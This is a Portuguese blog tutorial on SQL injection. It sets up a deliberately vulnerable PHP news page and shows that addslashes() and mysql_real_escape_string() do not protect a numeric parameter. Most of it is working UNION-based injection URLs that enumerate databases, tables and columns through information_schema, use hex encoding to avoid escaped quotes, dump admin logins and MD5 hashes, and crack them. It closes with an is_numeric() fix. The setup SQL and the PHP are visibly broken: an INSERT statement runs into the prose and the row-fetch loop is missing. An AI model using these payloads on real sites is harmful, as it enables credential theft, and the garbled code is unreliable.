Não era para ser vulnerável...
Olá.
Neste artigo você vai ver um caso em que duas funções de proteção contra injeção de SQL, addslashes() e mysql_real_escape_string(), falham e permitem ao atacante invadir o website.
Para provar isso, vou pedir que você crie um novo banco de dados no MySQL e rode a query:
SET NAMES utf8;
SET foreign_key_checks = 0;
SET time_zone = 'SYSTEM';
SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO';
CREATE TABLE `admin` (
`login` varchar(255) NOT NULL,
`senha` varchar(255) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
INSERT INTO `admin` (`login`, `senha`) VALUES('maria', '49f8aa089b957fe92343d08032b3b436');
CREATE TABLE `noticias` (
`id` int(11) NOT NULL,
`titulo` varchar(255) NOT NULL,
`texto` text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
INSERT INTO `noticias` (`id`, `titulo`, `texto`) VALUESIsto irá criar duas tabelas na base: "noticias" e "admin". Na primeira tabela, são inseridas duas notícias (textos Lorem Ipsum), e na segunda, são inseridos login e senha - criptografada em MD5 - de dois usuários.
Nossa missão: Obter os dados da tabela "admin".
Para isso, imagine que este é a página de notícias do website alvo:
<?php
$server = 'localhost'; // configure aqui
$login = 'root'; // configure aqui
$senha = '1708'; // configure aqui
$servidor = 'sqli'; // configure aqui
mysql_connect($server, $login, $senha) or die(mysql_error());
mysql_select_db($servidor) or die(mysql_error());
$id = mysql_real_escape_string($_GET['id']);
$id = addslashes($id);
$qry = mysql_query("SELECT * FROM noticias WHERE id=$id"); $titulo = $row['titulo'];
$texto = $row['texto'];
}
mysql_close();
?>
<html>
<head>
<title><?php echo $titulo; ?></title>
</head>
<body>
<b><?php echo $titulo; ?></b><br>
<?php echo $texto; ?>
</body>
</html>Rode este script em localhost, lembrando de configurar o princípio do mesmo. Note que, para provar de uma vez por todas o conceito, eu utilizei as duas funções que estão sendo postas à prova, juntas. Toda esta proteção vai falhar. Duvida?
Então vamos lá. Primeiro, vamos acessar normalmente as notícias 1 e 2:
-
- noticia.php?id=1
- noticia.php?id=2
Agora, vamos inserir uma aspa na URL, de forma a causar o erro e confirmar a vulnerabilidade:
-
- noticia.php?id='1
Tudo ok? Erro aparecendo:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/noticia.php on line 14
Então realmente houve um erro. Agora vamos utilizar o ORDER BY para identificar o número de colunas existente na tabela atual. Iremos também utilizar --+ para comentar e inutilizar o restante da query, se houver.
-
- noticia.php?id=1 order by 1--+
- noticia.php?id=1 order by 2--+
- noticia.php?id=1 order by 3--+
- noticia.php?id=1 order by 4--+
Note que nos 3 primeiros testes, a notícia é exibida corretamente. Já no último, houve um erro. Isto indica que a coluna #4 não existe. Sendo assim, temos 3 colunas na tabela atual.
Agora vamos utilizar o UNION ALL para identificar para onde vai o conteúdo de cada coluna:
-
- noticia.php?id=-1 union all select 1,2,3--+
Note que a coluna 1 não retorna dados. É porque ela é a identificação da notícia, usada na condição WHERE, certo? As colunas 2 e 3 contém, respectivamente, o título e o texto da notícia.
Primeiramente, vamos obter alguns dados que aparecerão no lugar da coluna 3 (conteúdo da notícia). Vamos obter o nome do banco de dados atual, a versão e o usuário do mysql. Para obter 3 dados em apenas 1 campo, usamos o concat().
-
- noticia.php?id=-1 union all select 1,2,concat(user(),0x3c3d3e,database(),0x3c3d3e,version())--+
Se a versão do MySQL for maior que 5, teremos o information_schema, que nos ajudará bastante.
Agora vamos obter todos as bases de dados do servidor. Para isso, vamos usar a coluna 2 (título) e a tabela 'schemata' do information_schema.
-
- noticia.php?id=-1 union all select 1,schema_name,concat(user(),0x3c3d3e,database(),0x3c3d3e,version()) from information_schema.schemata limit 0,1--+
- noticia.php?id=-1 union all select 1,schema_name,concat(user(),0x3c3d3e,database(),0x3c3d3e,version()) from information_schema.schemata limit 1,1--+Vamos aumentar o LIMIT de 0,1 para 1,1 2,1 3,1 4,1 até gerar erro, que indicará o fim da lista.
Agora vamos obter o nome de todas as tabelas do banco de dados atual:
-
- noticia.php?id=-1 union all select 1,table_name,concat(user(),0x3c3d3e,database(),0x3c3d3e,version()) from information_schema.tables where table_schema=database() limit 0,1--+
Note que não estamos utilizando aspas, então o ataque é bem-sucedido. Vamos alterando o limit e note que conseguimos obter "admin" e "noticias" e um erro.
Agora, vamos pegar o nome de todas as colunas da tabela "admin", que julgamos nos interessar.Veja como é feito:
-
- noticia.php?id=-1 union all select 1,column_name,concat(user(),0x3c3d3e,database(),0x3c3d3e,version()) from information_schema.columns where table_name=('admin') and table_schema=database() limit 0,1--+
Mas aí temos um problema: na condição where, utilizamos aspas para indicar o nome da tabela. Nossas aspas foram escapadas e não temos como continuar, certo? Errado.
O que faremos é converter o nome da tabela para hexadecimal. admin em hexa fica 0x61646d696e. Vamos ver como ficaremos:
-
- noticia.php?id=-1 union all select 1,column_name,concat(user(),0x3c3d3e,database(),0x3c3d3e,version()) from information_schema.columns where table_name=0x61646d696e and table_schema=database() limit 0,1--+
Vamos alterando o limit e veja que conseguimos obter "login" e "senha". Vamos então, enfim, obter os dados desta tabela, utilizando o concat() para pegar mais de um dado:
-
- noticia.php?id=-1 union all select 1,concat(login,0x3c3d3e,senha),concat(user(),0x3c3d3e,database(),0x3c3d3e,version()) from sqli.admin limit 0,1
0x3c3d3e significa '<=>' e utilizamos estes símbolos para separar um dado do outro, para não nos confundirmos.
Vá alterando o limit e veja que conseguimos obter:
joao<=>21232f297a57a5a743894a0e4a801fc3
maria<=>49f8aa089b957fe92343d08032b3b436Para terminar, vamos descriptografar essas hashs md5, utilizando o MD5Decrypter, que usa um banco de dados com várias hashs:
21232f297a57a5a743894a0e4a801fc3 MD5 : admin
49f8aa089b957fe92343d08032b3b436 [Not Found] - não conseguimos neste caso
Viu só? Utilizamos as duas funções, e estas não nos foram úteis.
O que fazer então? No lugar de colocar as duas funções, neste caso, inúteis, já que receberemos apenas números, podemos fazer:
$id = is_numeric($_GET['id']) ? $_GET['id'] : die();
Ou seja, se $_GET['id'] for numérico, seu valor será atribuído à variável $id. Caso contrário, o script morrerá (irá parar sua execução).Simples, não? :D
Discussão (4)
Carregando comentários...